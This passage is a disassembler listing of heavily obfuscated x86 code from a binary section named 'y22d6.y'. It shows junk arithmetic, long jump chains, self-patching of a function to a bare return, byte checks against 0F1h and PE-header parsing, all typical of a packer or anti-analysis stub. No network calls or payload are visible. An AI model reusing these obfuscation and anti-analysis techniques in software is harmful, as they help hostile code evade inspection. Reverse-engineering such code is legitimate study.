		jmp	sub_44C622
; ---------------------------------------------------------------------------

loc_438551:				; CODE XREF: y22d6.y.:0044B536j
		jo	loc_44C63A
		mov	eax, [esp]
		push	edx
		push	esi
		push	0A4D332C9h
		pop	esi
		add	esi, 99B77312h
		jmp	loc_44C80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44563C

loc_43856D:				; CODE XREF: sub_44563C+Bj
		push	offset loc_44C1B8
		jmp	nullsub_79
; END OF FUNCTION CHUNK	FOR sub_44563C
; ---------------------------------------------------------------------------

loc_438577:				; CODE XREF: y22d6.y.:loc_447CE5j
					; y22d6.y.:00447CFCj
		add	edi, 0AF6AC9F3h
		mov	[edi], eax
		pop	edi
		push	offset sub_43B167
		jmp	locret_44648C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_43858A:				; CODE XREF: sub_43E185+F8F0j
		call	sub_44B011

loc_43858F:				; CODE XREF: sub_43FC1E+8DEj
		jmp	loc_44E4B8
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------

loc_438594:				; DATA XREF: sub_44D83F+6o
		xchg	ecx, [esp]
		mov	edx, ecx
		xchg	esi, [esp]
		mov	ecx, esi
		pop	esi
		mov	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_4385A2:				; CODE XREF: sub_44057E:loc_43F713j
		jmp	loc_443340
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_4385A7:				; CODE XREF: sub_43872E:loc_44182Fj
		call	sub_444581
		call	sub_43A8B0

loc_4385B1:				; CODE XREF: sub_44B674-11B20j
		jmp	nullsub_64
; END OF FUNCTION CHUNK	FOR sub_43872E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_4385B6:				; CODE XREF: sub_43C3DD:loc_443BB7j
					; y22d6.y.:00444BC8j
		jl	loc_443FEB

loc_4385BC:				; CODE XREF: sub_44DB3E-8E97j
		jmp	loc_43AEB9
; END OF FUNCTION CHUNK	FOR sub_43C3DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_4385C1:				; CODE XREF: sub_44633F-BCD7j
		jmp	loc_4417C2
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C96

loc_4385C6:				; CODE XREF: sub_439C96+Cj
		jmp	loc_43956A
; END OF FUNCTION CHUNK	FOR sub_439C96
; ---------------------------------------------------------------------------
		xor	edi, 0C1B4064Bh
		jnp	loc_437059
		sbb	ebx, eax
		jmp	loc_44639E
; ---------------------------------------------------------------------------

loc_4385DE:				; DATA XREF: sub_448EB6-BD93o
		xchg	edi, [esp]
		push	offset sub_438ACB
		jmp	locret_438A4A
; ---------------------------------------------------------------------------

loc_4385EB:				; CODE XREF: y22d6.y.:00446250j
		or	ebp, ebx

; =============== S U B	R O U T	I N E =======================================



sub_4385ED	proc near		; CODE XREF: sub_4385ED+12981p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043A354 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CFE1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E8F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004400B9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004408E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440E64 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441522 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441925 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044245F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442A6C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004442C1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044566E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00449C8D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AF66 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044BA37 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044C149 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044DA43 SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_43AB31
		cmp	eax, [ebp-8]
		jmp	loc_44245F
sub_4385ED	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	75454DD9h
		pop	eax
		and	eax, 0EDB46FCBh
		add	eax, 3C1AF791h
		push	offset loc_441A71
		jmp	locret_44C6FD
; ---------------------------------------------------------------------------

loc_43861A:				; CODE XREF: y22d6.y.:00447EA4j
		test	eax, ebx
		jmp	loc_43F310
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_438621:				; CODE XREF: sub_448EB6+1C23j
		adc	ebx, 2F77EF08h
		xor	esi, edi

loc_438629:				; CODE XREF: sub_448EB6:loc_44491Dj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_43711C
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		shl	edi, 12h
		jmp	sub_437901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43863C:				; CODE XREF: sub_438B66:loc_43E642j
					; sub_4432B8+26Ej
		push	offset loc_44B53B
		jmp	loc_44C788
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_438646:				; CODE XREF: y22d6.y.:00447C01j
		and	edi, edx
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_438648:				; CODE XREF: sub_43B98D:loc_447BF5j
		add	ecx, 26989248h
		call	sub_447527
; END OF FUNCTION CHUNK	FOR sub_43B98D
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_438653:				; CODE XREF: sub_44271A-69FBj
		jmp	loc_43C3A7
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446082

loc_438658:				; CODE XREF: sub_446082:loc_4372E9j
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		pop	ecx
		call	sub_43D796

loc_438664:				; CODE XREF: sub_448EB6+4896j
		jmp	loc_43D71C
; END OF FUNCTION CHUNK	FOR sub_446082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F37

loc_438669:				; CODE XREF: sub_444F37+13j
		jmp	loc_4445E6
; END OF FUNCTION CHUNK	FOR sub_444F37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44734D

loc_43866E:				; CODE XREF: sub_44734D-C4B7j
		jmp	nullsub_93
; END OF FUNCTION CHUNK	FOR sub_44734D
; ---------------------------------------------------------------------------
		test	edi, esi
		jmp	loc_443AE7
; ---------------------------------------------------------------------------

loc_43867A:				; CODE XREF: y22d6.y.:0044C081j
		cdq
		jg	nullsub_209
; START	OF FUNCTION CHUNK FOR sub_44364E

loc_438681:				; CODE XREF: sub_44364E:loc_44C069j
		xor	edx, 4B150D6Eh
		add	edx, 0B72A812Fh
		xchg	edx, [esp+0]
		jmp	sub_44D088
; END OF FUNCTION CHUNK	FOR sub_44364E
; ---------------------------------------------------------------------------
		pop	edx
		xchg	ecx, [esp]
		mov	eax, ecx
		jmp	loc_43803B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F7FF

loc_4386A0:				; CODE XREF: sub_43F7FF+6j
		mov	edx, ds:dword_439198
		or	edx, edx
		jnz	loc_439185
		jmp	loc_448F38
; END OF FUNCTION CHUNK	FOR sub_43F7FF
; ---------------------------------------------------------------------------
		or	ecx, 0EDE006E0h
		jmp	sub_444131
; ---------------------------------------------------------------------------

loc_4386BE:				; DATA XREF: sub_4475B3+3956o
		mov	ds:off_41E21C, eax
		lea	eax, sub_4475B3
		mov	byte ptr [eax],	0C3h
		jmp	loc_438729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_4386D2:				; CODE XREF: sub_4475B3j
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		jmp	loc_448CF9
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C04

loc_4386DD:				; CODE XREF: sub_441C04:loc_437A7Dj
		push	offset loc_44DA35
		jmp	loc_4435ED
; END OF FUNCTION CHUNK	FOR sub_441C04
; ---------------------------------------------------------------------------
		db 0Fh
		dd 645A8Ah, 87C73300h, 875B241Ch, 1E92414h, 0BE000105h
		dd 116061F5h, 17AE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_438706:				; CODE XREF: sub_43C7C1-388Cj
		jnb	loc_43AB3D

loc_43870C:				; CODE XREF: sub_43C7C1:loc_43A507j
		mov	eax, [esp-4+arg_0]
		push	eax
		call	sub_44C171
		call	sub_439C96

loc_43871A:				; CODE XREF: y22d6.y.:0043F37Bj
		jmp	nullsub_204
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442770

loc_43871F:				; CODE XREF: sub_442770+19j
		call	sub_43E185

loc_438724:				; CODE XREF: sub_448EB6-ABCBj
		jmp	loc_44DCD5
; END OF FUNCTION CHUNK	FOR sub_442770
; ---------------------------------------------------------------------------

loc_438729:				; CODE XREF: y22d6.y.:004386CDj
					; y22d6.y.:loc_443214j
		jmp	sub_4475B3

; =============== S U B	R O U T	I N E =======================================



sub_43872E	proc near		; CODE XREF: y22d6.y.:00448199j
					; sub_44C2B0p

; FUNCTION CHUNK AT 004371EE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004376B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004385A7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00439DCF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A47E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043A6DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A8C8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043ECC9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044182F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443878 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00443A57 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	0A396CE96h
		pop	eax
		jmp	loc_43ECC9
sub_43872E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	ecx, 1Ch
		adc	eax, esi
		jmp	sub_4445FD
; ---------------------------------------------------------------------------

loc_438748:				; DATA XREF: sub_448EB6-F68Fo
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		mov	eax, edx
		nop
		mov	eax, [esp]
		call	sub_4480DE
		retn
; ---------------------------------------------------------------------------

loc_43875A:				; CODE XREF: y22d6.y.:00437D77j
		jmp	locret_438030
; ---------------------------------------------------------------------------
		adc	edi, 0E27E0DE0h
		jmp	sub_4449C0
; ---------------------------------------------------------------------------

loc_43876A:				; DATA XREF: sub_443906+5o
		push	eax
		mov	eax, ecx
		xchg	eax, [esp]
		push	ecx
		push	970D0E0Ch
		jmp	loc_44473B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_43877B:				; CODE XREF: sub_43E7BF+Dj
		add	edx, 0CCCE1A20h
		xchg	edx, [esp+4+var_4]
		jmp	loc_447E4C
; END OF FUNCTION CHUNK	FOR sub_43E7BF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43878A	proc near		; CODE XREF: y22d6.y.:0043EDAEj
					; sub_44E33C-47B0p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xor	eax, esi
		xchg	ebp, [esp-4+arg_0]
		mov	esi, ebp
		call	sub_44CEAD

loc_43879A:				; CODE XREF: sub_449641-6B6Cj
		jmp	loc_448F5A
sub_43878A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_43879F:				; CODE XREF: sub_444581-1E23j
		jmp	loc_438EE4
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------

loc_4387A4:				; CODE XREF: y22d6.y.:0044D52Fj
		and	edi, 56BC1401h
		sub	edi, ds:4000E7h
		and	edi, 0E7637DFBh
		rol	edi, 12h
		jb	loc_437B74
		push	edx
		mov	ecx, [eax]
		jmp	loc_43E11D
; ---------------------------------------------------------------------------

locret_4387C7:				; CODE XREF: y22d6.y.:0043F864j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4387C8:				; CODE XREF: sub_448EB6-F1C6j
		ja	loc_43B99B
		and	ecx, ebp

loc_4387D0:				; CODE XREF: sub_448EB6:loc_43BB87j
		add	edx, 0D7179F0h
		xor	edx, 3F8BFA10h
		add	edx, 3CCE5726h
		xchg	edx, [esp-4+arg_0]
		jmp	loc_442502
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_4387EA	proc near		; DATA XREF: y22d6.y.:0043C0E0o

; FUNCTION CHUNK AT 004398DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441162 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447B12 SIZE 00000008 BYTES

		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_44198C
		or	eax, eax
		jnz	loc_447B12
		jmp	loc_4398DD
sub_4387EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B267

loc_438801:				; CODE XREF: sub_44B267:loc_44B270j
		mov	ebx, ecx

loc_438803:				; CODE XREF: sub_4432B8:loc_44359Dj
		call	sub_43AEAA

loc_438808:				; CODE XREF: sub_445A71+5j
		jmp	loc_44BC98
; END OF FUNCTION CHUNK	FOR sub_44B267
; ---------------------------------------------------------------------------

loc_43880D:				; CODE XREF: y22d6.y.:00441ADCj
		jmp	locret_444A6D
; ---------------------------------------------------------------------------
		mov	ecx, [ebx]
		cmp	ebx, 0C19981FEh
		jmp	loc_442DB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443778

loc_43881F:				; CODE XREF: sub_443778:loc_43CD16j
					; y22d6.y.:004486EFj
		xchg	ebp, [esp+4+var_4]
		push	52EE387Ah
		pop	esi
		sub	esi, 2C4B2762h
		jmp	loc_449942
; END OF FUNCTION CHUNK	FOR sub_443778
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_438833:				; CODE XREF: sub_44B489-9D3j
		add	eax, edx
		pop	edx
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44B067
		jmp	loc_442763
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_438846:				; CODE XREF: sub_44BCC2:loc_44D422j
		jb	loc_441E44
		pushf
		rol	ebp, 1
		cmp	ebp, edx
		jmp	loc_44966C
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------

loc_438856:				; CODE XREF: y22d6.y.:004420FBj
		js	loc_44ACBA
		pushf
		mov	[ebx], esi
		xor	eax, 0DA5E0669h
		jmp	loc_44A91A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD64

loc_43886A:				; CODE XREF: sub_43AD64:loc_438240j
		push	offset sub_446417
		jmp	loc_43D791
; END OF FUNCTION CHUNK	FOR sub_43AD64
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44256D

loc_438875:				; CODE XREF: sub_44256D+7j
		jmp	loc_440B97
; END OF FUNCTION CHUNK	FOR sub_44256D

; =============== S U B	R O U T	I N E =======================================



sub_43887A	proc near		; CODE XREF: y22d6.y.:00437F95p
					; sub_444427:loc_441A50j ...
		push	ebp
		call	sub_43AD3D
sub_43887A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438880	proc near		; CODE XREF: sub_43B7B5+D6CBp

; FUNCTION CHUNK AT 00445D09 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, 5BB181D9h
		push	edx
		push	8A196041h
		pop	edx
		or	edx, 8651CBD6h
		xor	edx, 7F97B731h
		jmp	loc_445D09
sub_438880	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_4388A2:				; CODE XREF: sub_44271A:loc_43C3A7j
					; sub_44271A-127Cj
		call	sub_43760A
		mov	edx, 95918C9Dh
		call	sub_44D293
		push	eax
		ror	eax, 4
		mov	ds:dword_444BAC, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440ABC

loc_4388BC:				; CODE XREF: sub_440ABC+13j
		jmp	loc_43B5F8
; END OF FUNCTION CHUNK	FOR sub_440ABC
; ---------------------------------------------------------------------------

loc_4388C1:				; CODE XREF: y22d6.y.:0044885Bj
		jnb	loc_44709C
		add	edx, ebx
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_4388C9:				; CODE XREF: sub_44BCC2:loc_448844j
		sub	eax, 730A0577h
		add	eax, 0AA22D362h
		test	eax, 80000000h
		jmp	loc_447A4D
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------

loc_4388E0:				; CODE XREF: y22d6.y.:00437D7Fj
		mov	edi, 0E81CE0AAh

; =============== S U B	R O U T	I N E =======================================



sub_4388E5	proc near		; CODE XREF: sub_439595+14445p

; FUNCTION CHUNK AT 0043EFF6 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	ebp, esp
		jmp	loc_43EFF6
sub_4388E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0E913CFC1h, 0FFFFEB47h, 0C081C503h, 8ADC5AF1h, 9C56008Bh
		dd 0D7CBEA68h, 3D40E93Bh, 0C0C10001h, 0EAA3E915h, 815FFFFFh
		dd 0D23E61E7h, 0E1F78161h, 0F7081B7Eh, 8C7h, 52DBE900h
		dd 0E9C30000h, 0DB30h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_438934:				; CODE XREF: sub_44E5C7-10A5Bj
		ror	ebp, 2
		jno	loc_4452B7
		jmp	loc_437867
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	sub_43D246
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_438949:				; CODE XREF: y22d6.y.:0043BB2Fj
		jmp	loc_442DD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43894E:				; CODE XREF: sub_448EB6-DBE4j
		jmp	loc_447F96
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438953	proc near		; CODE XREF: sub_4395B1:loc_4412BBp
					; sub_44C1E2-A44Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0

loc_438963:				; CODE XREF: sub_43FAC6:loc_4458CAj
		jmp	loc_449082
sub_438953	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_438968:				; CODE XREF: sub_44C59C-519Cj
		xchg	ebp, [esp+0]
		call	sub_440AF5
		push	6D8E2DD0h
		pop	eax
		jmp	loc_439CF5
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44243B

loc_43897B:				; CODE XREF: sub_44243B:loc_44D1FAj
					; y22d6.y.:0044D20Ej
		add	esi, 7EB6F61Dh
		add	eax, esi
		push	offset loc_43CADC
		jmp	loc_43FAC1
; END OF FUNCTION CHUNK	FOR sub_44243B
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E0F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AFA1

loc_438993:				; CODE XREF: sub_44AFA1+23j
		jmp	nullsub_267
; END OF FUNCTION CHUNK	FOR sub_44AFA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3B1

loc_438998:				; CODE XREF: sub_44D3B1-130A9j
		jmp	loc_444B2B
; END OF FUNCTION CHUNK	FOR sub_44D3B1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		dd offset sub_4449FA
; ---------------------------------------------------------------------------
		jmp	loc_4447BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_4389A7:				; CODE XREF: sub_43FAC6:loc_439785j
					; sub_44B17B-C250j
		or	ebx, 0A52155BAh
		sub	ebx, ds:4000E1h
		or	ebx, 4CD316D9h
		add	ebx, 58BFE747h
		xor	eax, ebx
		pop	ebx
		jmp	loc_448368
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_4389C7:				; CODE XREF: sub_44AA69:loc_443134j
		or	ebp, 0C55212ECh
		sbb	ebp, 0D9B5C775h
		jmp	sub_44DA87
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4389D8:				; CODE XREF: sub_448EB6-73F0j
		jz	loc_443487

loc_4389DE:				; CODE XREF: sub_44BF7B+11j
		jmp	loc_448C24
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449A8B

loc_4389E3:				; CODE XREF: sub_449A8B+17j
		jmp	loc_445171
; END OF FUNCTION CHUNK	FOR sub_449A8B
; ---------------------------------------------------------------------------
		or	edi, ebx
		and	eax, 7F2D9D95h
		test	esi, edi
		jmp	loc_443CAA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBE5

loc_4389F8:				; CODE XREF: sub_44CBE5+9j
		jmp	nullsub_4
; END OF FUNCTION CHUNK	FOR sub_44CBE5

; =============== S U B	R O U T	I N E =======================================



sub_4389FD	proc near		; DATA XREF: y22d6.y.:0044B95Bo

; FUNCTION CHUNK AT 00440E39 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448638 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044CE32 SIZE 00000017 BYTES

		push	eax
		pop	ebx
		xchg	ebx, [esp+0]
		mov	edx, eax
		jmp	loc_44CE32
sub_4389FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446236

loc_438A09:				; CODE XREF: sub_446236-44E4j
		jz	loc_441DD7
		mov	edx, [ebx+ecx]
		jmp	loc_44C2A7
; ---------------------------------------------------------------------------

loc_438A17:				; CODE XREF: sub_446236:loc_44623Dj
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		jmp	loc_44C28C
; END OF FUNCTION CHUNK	FOR sub_446236
; ---------------------------------------------------------------------------

locret_438A22:				; CODE XREF: y22d6.y.:loc_43764Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_438A23:				; CODE XREF: sub_448EB6+19F9j
		jmp	nullsub_157
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_438A28:				; CODE XREF: sub_44E5C7-6A61j
		jmp	loc_44D47B
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_438A2D:				; CODE XREF: sub_448C77-6C24j
		jmp	loc_440DE4
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_438A32:				; CODE XREF: sub_4432B8+218j
		shr	edx, 5
		rol	ebx, 14h
		test	esi, 83417841h
		jmp	loc_43A523
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		test	edi, ecx
		jmp	loc_44093B
; ---------------------------------------------------------------------------

locret_438A4A:				; CODE XREF: y22d6.y.:004385E6j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_438A4B:				; CODE XREF: sub_43B09B+F9A7j
		jmp	loc_43E096
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_438A50:				; CODE XREF: y22d6.y.:00449A1Bj
		jmp	loc_44D0A4
; ---------------------------------------------------------------------------

loc_438A55:				; DATA XREF: sub_4480DE-C238o
		add	eax, [esp]
		adc	edx, [esp+4]
		add	esp, 8
		mov	[ebp-4], eax
		jmp	loc_44AC83

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438A67	proc near		; CODE XREF: sub_43DD42+4p
					; sub_4480DE+49A8p

; FUNCTION CHUNK AT 0043BF60 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_43BF60
sub_438A67	endp


; =============== S U B	R O U T	I N E =======================================



sub_438A6F	proc near		; DATA XREF: sub_44DA87-62C1o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C59C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043DAF5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043DF66 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044B0C7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044B612 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D5C2 SIZE 00000008 BYTES

		xor	edx, edx
		push	edi
		push	edx
		pop	edi
		xchg	edi, [esp+4+var_4]
		jmp	loc_43DF66
sub_438A6F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_438A7C:				; CODE XREF: sub_4450FD-4795j
		add	eax, ebp
		add	eax, 0BEFE80E8h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4397DE
		jmp	loc_44DBA2
; END OF FUNCTION CHUNK	FOR sub_4450FD

; =============== S U B	R O U T	I N E =======================================



sub_438A94	proc near		; CODE XREF: .text:004098B7p
					; y22d6.y.:004463F5j
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004397B3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00439A82 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043D639 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444918 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446405 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004473DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447C4E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448061 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044AC9E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044E631 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E688 SIZE 00000023 BYTES

		push	ebx
		push	2CC2814Fh
		sbb	ebx, eax
		jmp	loc_4397B3
sub_438A94	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F2D

loc_438AA1:				; CODE XREF: sub_439F2D+12C53j
		push	edx
		push	esi
		push	9BEE8878h
		pop	esi
		sub	esi, 9D93B9F2h
		add	esi, 1E9BAAFh
		jmp	loc_43BE61
; END OF FUNCTION CHUNK	FOR sub_439F2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_438ABA:				; CODE XREF: sub_43E185+1033Ej
		jp	loc_442CA1
		and	edx, 46C1C425h
		jmp	loc_437B30
; END OF FUNCTION CHUNK	FOR sub_43E185

; =============== S U B	R O U T	I N E =======================================



sub_438ACB	proc near		; DATA XREF: y22d6.y.:004385E1o

; FUNCTION CHUNK AT 0044643C SIZE 00000005 BYTES

		pushf
		push	42894209h
		pop	edx
		rol	edx, 15h
		xor	edx, 49EE1A2Bh
		add	edx, 0F77D9746h
		popf
		xchg	edx, [esp+0]
		jmp	loc_44643C
sub_438ACB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_438AEA:				; CODE XREF: sub_440280+3B54j
		jnz	loc_447865
		jmp	loc_44206B
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------

loc_438AF5:				; CODE XREF: y22d6.y.:004493F3j
		ror	eax, 17h
		jno	loc_43F95C
		add	eax, 0B71B9529h
		mov	edx, [esp]
		jmp	loc_43BAB6
; ---------------------------------------------------------------------------
		shr	esi, 4
		jmp	sub_447527
